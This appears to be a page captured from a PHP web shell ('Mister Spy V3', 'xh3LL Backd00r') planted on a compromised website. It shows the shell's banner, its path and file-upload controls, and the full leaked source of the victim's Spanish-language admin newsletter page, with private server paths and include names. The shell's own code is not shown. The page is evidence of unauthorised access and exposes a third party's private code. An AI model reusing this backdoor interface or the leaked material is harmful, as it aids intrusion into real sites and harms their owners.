Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/newsletter.php

<?php 
require_once('../../Connections/cnx.php');
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php');

$currentPage = $_SERVER["PHP_SELF"];

$maxRows_rsNewsletter = 20;
$pageNum_rsNewsletter = 0;
if (isset($_GET['pageNum_rsNewsletter'])) {
  $pageNum_rsNewsletter = $_GET['pageNum_rsNewsletter'];
}
$startRow_rsNewsletter = $pageNum_rsNewsletter * $maxRows_rsNewsletter;

mysql_select_db($database_cnx, $cnx);
$query_rsNewsletter = "SELECT * FROM newsletters ORDER BY newsleterID DESC";
$query_limit_rsNewsletter = sprintf("%s LIMIT %d, %d", $query_rsNewsletter, $startRow_rsNewsletter, $maxRows_rsNewsletter);
$rsNewsletter = mysql_query($query_limit_rsNewsletter, $cnx) or die(mysql_error());
$row_rsNewsletter = mysql_fetch_assoc($rsNewsletter);

if (isset($_GET['totalRows_rsNewsletter'])) {
  $totalRows_rsNewsletter = $_GET['totalRows_rsNewsletter'];
} else {
  $all_rsNewsletter = mysql_query($query_rsNewsletter);
  $totalRows_rsNewsletter = mysql_num_rows($all_rsNewsletter);
}
$totalPages_rsNewsletter = ceil($totalRows_rsNewsletter/$maxRows_rsNewsletter)-1;

$queryString_rsNewsletter = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsNewsletter") == false && 
        stristr($param, "totalRows_rsNewsletter") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsNewsletter = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsNewsletter = sprintf("&totalRows_rsNewsletter=%d%s", $totalRows_rsNewsletter, $queryString_rsNewsletter);

$MM_paramName = ""; 

// *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
// create the list of parameters which should not be maintained
$MM_removeList = "&index=";
if ($MM_paramName != "") $MM_removeList .= "&".strtolower($MM_paramName)."=";
$MM_keepURL="";
$MM_keepForm="";
$MM_keepBoth="";
$MM_keepNone="";
// add the URL parameters to the MM_keepURL string
reset ($_GET);
while (list ($key, $val) = each ($_GET)) {
	$nextItem = "&".strtolower($key)."=";
	if (!stristr($MM_removeList, $nextItem)) {
		$MM_keepURL .= "&".$key."=".urlencode($val);
	}
}
// add the URL parameters to the MM_keepURL string
if(isset($_POST)){
	reset ($_POST);
	while (list ($key, $val) = each ($_POST)) {
		$nextItem = "&".strtolower($key)."=";
		if (!stristr($MM_removeList, $nextItem)) {
			$MM_keepForm .= "&".$key."=".urlencode($val);
		}
	}
}
// create the Form + URL string and remove the intial '&' from each of the strings
$MM_keepBoth = $MM_keepURL."&".$MM_keepForm;
if (strlen($MM_keepBoth) > 0) $MM_keepBoth = substr($MM_keepBoth, 1);
if (strlen($MM_keepURL) > 0)  $MM_keepURL = substr($MM_keepURL, 1);
if (strlen($MM_keepForm) > 0) $MM_keepForm = substr($MM_keepForm, 1);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>.:  :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
	background-color: #FFFFFF;
}
-->
</style>
<link href="basico_backend.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
		<tr>
				<td width="10" class="TituloRubro">&nbsp;</td>
				<td class="TituloRubro">&nbsp;</td>
		</tr>
		<tr>
				<td width="10" class="TituloRubro">&nbsp;</td>
				<td class="tituloPagina">GACETILLA EDICIONES </td>
		</tr>
		<tr>
				<td width="10">&nbsp;</td>
				<td>&nbsp;</td>
		</tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
		<tr>
				<td height="30"><a href="newsletter_add.php">Agregar</a></td>
		</tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><?php if ($totalRows_rsNewsletter > 0) { // Show if recordset not empty ?>
        <br>
        <br>
        <table width="100%" border="0" align="center" cellpadding="<? echo $RegCellPad;?>" cellspacing="<? echo $RegCellSpacing;?>" class="bordeGris" id="caja2">
          <tr>
            <td height="20" colspan="2"><div align="right">Registros <?php echo ($startRow_rsNewsletter + 1) ?> a <?php echo min($startRow_rsNewsletter + $maxRows_rsNewsletter, $totalRows_rsNewsletter) ?> de <?php echo $totalRows_rsNewsletter ?>&nbsp;</div></td>
          </tr>
          <tr class="bordeGrisFondo">
            <td height="20"><strong>&nbsp;&nbsp;N&uacute;mero</strong></td>
            <td width="10%"><div align="center"><strong>Acciones</strong></div></td>
          </tr>
          <?php do { ?>
          <tr onMouseOver="changeto(event, '<? echo $colCeld; ?>')" onMouseOut="changeback(event, '<? echo $colCeldOut; ?>')">
            <td height="20"><p>&nbsp;&nbsp;&nbsp;<?php echo $row_rsNewsletter['numero']; ?></p></td>
            <td width="10%"><p align="center"><a href="newsletter_preview.php?newsletterID=<?php echo $row_rsNewsletter['newsleterID']; ?>"><img src="iconos/lupa.gif" alt="Preview" width="16" height="15" border="0"></a>&nbsp;&nbsp;<a href="newsletter_envio_pregunta.php?newsletterID=<?php echo $row_rsNewsletter['newsleterID']; ?>"><img src="iconos/smtp.gif" alt="Enviar" width="16" height="16" border="0"></a>&nbsp;&nbsp;<a href="newsletter_mod.php?<?php echo $MM_keepNone.(($MM_keepNone!="")?"&":"")."newsleterID=".$row_rsNewsletter['newsleterID'] ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" border="0"></a>&nbsp;&nbsp;<a href="newsletter_del.php?<?php echo $MM_keepNone.(($MM_keepNone!="")?"&":"")."newsleterID=".$row_rsNewsletter['newsleterID'] ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" border="0"></a> </p></td>
          </tr>
          <tr bgcolor="<? echo $CeldDivide;?>">
					<td colspan="2"><div align="center"></div></td>
          		</tr>
          <?php } while ($row_rsNewsletter = mysql_fetch_assoc($rsNewsletter)); ?>
        </table>
        <table border="0" width="50%" align="center">
          <tr>
            <td width="23%" align="center">
              <?php if ($pageNum_rsNewsletter > 0) { // Show if not first page ?>
              <a href="<?php printf("%s?pageNum_rsNewsletter=%d%s", $currentPage, 0, $queryString_rsNewsletter); ?>"><img src="First.gif" border=0></a>
              <?php } // Show if not first page ?>
            </td>
            <td width="31%" align="center">
              <?php if ($pageNum_rsNewsletter > 0) { // Show if not first page ?>
              <a href="<?php printf("%s?pageNum_rsNewsletter=%d%s", $currentPage, max(0, $pageNum_rsNewsletter - 1), $queryString_rsNewsletter); ?>"><img src="Previous.gif" border=0></a>
              <?php } // Show if not first page ?>
            </td>
            <td width="23%" align="center">
              <?php if ($pageNum_rsNewsletter < $totalPages_rsNewsletter) { // Show if not last page ?>
              <a href="<?php printf("%s?pageNum_rsNewsletter=%d%s", $currentPage, min($totalPages_rsNewsletter, $pageNum_rsNewsletter + 1), $queryString_rsNewsletter); ?>"><img src="Next.gif" border=0></a>
              <?php } // Show if not last page ?>
            </td>
            <td width="23%" align="center">
              <?php if ($pageNum_rsNewsletter < $totalPages_rsNewsletter) { // Show if not last page ?>
              <a href="<?php printf("%s?pageNum_rsNewsletter=%d%s", $currentPage, $totalPages_rsNewsletter, $queryString_rsNewsletter); ?>"><img src="Last.gif" border=0></a>
              <?php } // Show if not last page ?>
            </td>
          </tr>
        </table>
        <?php } // Show if recordset not empty ?>
<p></p><br>
        <?php if ($totalRows_rsNewsletter == 0) { // Show if recordset empty ?>
        <table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><p align="center"><img src="iconos/alerta.gif" width="26" height="24"></p></td>
          </tr>
          <tr>
            <td><p align="center"><span class="botoneraBordeau">Lo siento!</span></p></td>
          </tr>
          <tr>
            <td><p>&nbsp;</p></td>
          </tr>
          <tr>
            <td><div align="center">
                <p class="pNegroBold10">No hay registros disponibles</p>
            </div></td>
          </tr>
          <tr>
            <td><p>&nbsp;</p></td>
          </tr>
        </table>
        <?php } // Show if recordset empty ?></td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>
<?php
mysql_free_result($rsNewsletter);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat